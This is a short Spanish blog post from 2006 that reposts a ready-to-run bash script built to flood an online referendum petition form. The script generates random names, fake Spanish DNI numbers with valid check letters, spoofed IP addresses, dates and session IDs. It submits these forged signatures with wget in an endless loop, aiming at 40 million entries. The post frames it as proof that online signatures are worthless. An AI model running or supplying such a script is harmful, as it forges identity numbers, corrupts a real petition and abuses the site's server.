¿Por que las firmas online no tienen validez?
6 f , 2006Pues porque pueden pasar cosas como estas:
Publicado en PitidoPopular por Atila:
——————————Cortar aqui—
#!/bin/bash
LETRA[0]=T
LETRA[1]=R
LETRA[2]=W
LETRA[3]=A
LETRA[4]=G
LETRA[5]=M
LETRA[6]=Y
LETRA[7]=F
LETRA[8]=P
LETRA[9]=D
LETRA[10]=X
LETRA[11]=B
LETRA[12]=N
LETRA[13]=J
LETRA[14]=Z
LETRA[15]=S
LETRA[16]=Q
LETRA[17]=V
LETRA[18]=H
LETRA[19]=L
LETRA[20]=C
LETRA[21]=K
LETRA[22]=E
random()
{
expr $(expr $RANDOM % $(expr $(expr $2 - $1) + 1)) + $1
}
I=0
while true
do
NOMBRE=$(head -n $(random 1 $(cat nombres.txt | wc -l)) nombres.txt | tail -n 1)
APELL1=$(head -n $(random 1 $(cat apellidos.txt | wc -l)) apellidos.txt | tail -n 1)
APELL2=$(head -n $(random 1 $(cat apellidos.txt | wc -l)) apellidos.txt | tail -n 1)
DNI=$(expr $(expr $(expr $RANDOM ‘*’ 32768) + $RANDOM) % 100000000)
J=$(expr 9 - $(echo $DNI | wc -c))
while [ $J -gt 0 ]
do
DNI=0$DNI
J=$(expr $J - 1)
done
DNI=$DNI${LETRA[$(expr $DNI % 23)]}
IP=$(random 60 89).$(expr $RANDOM % 256).$(expr $RANDOM % 256).$(expr $RANDOM % 256)
DIA=$(random 1 28)
[ $DIA -lt 10 ] && DIA=0$DIA
MES=0$(random 1 3)
HORA=$(random 0 23)
[ $HORA -lt 10 ] && HORA=0$HORA
MIN=$(random 0 59)
[ $MIN -lt 10 ] && MIN=0$MIN
SEG=$(random 0 59)
[ $SEG -lt 10 ] && SEG=0$SEG
DATE=”$DIA%2F$MES%2F2006%20$HORA%3A$MIN%3A$SEG”
SESION=$(expr $(expr $(expr $RANDOM ‘*’ 32768) + $RANDOM) % 10000000)
J=$(expr 8 - $(echo $SESION | wc -c))
while [ $J -gt 0 ]
do
SESION=0$SESION
J=$(expr $J - 1)
done
SESION=9$SESION
echo $DNI $NOMBRE $APELL1 $APELL2
wget -nv -O /dev/null –timeout=5 –referer=http://www.pit-pp.info/form.asp –post-data=txtnombre=$NOMBRE%20$APELL1%20$APELL2\&txtdni=$DNI\&guest_ip=$IP\&guest_date=$DATE\&guest_sesion=$SESION http://www.pit-pp.info/env_form.asp\?modo=1
I=$(expr $I + 1)
done
————————————————Cortar aqui—
Este script genera DNIs aleatorios y cogiendo el nombre del fichero nombre.txt y los apellidos del fichero apellidos.txt firma el formulario del PitidoPopular para pedir un referendum…
El fin?? Demostrar que las firmas online no tienen ningun valor cuando se hacen las cosas chapuceramente… El objetivo del script es conseguir que firmemos mas de 40millones de personas ;)

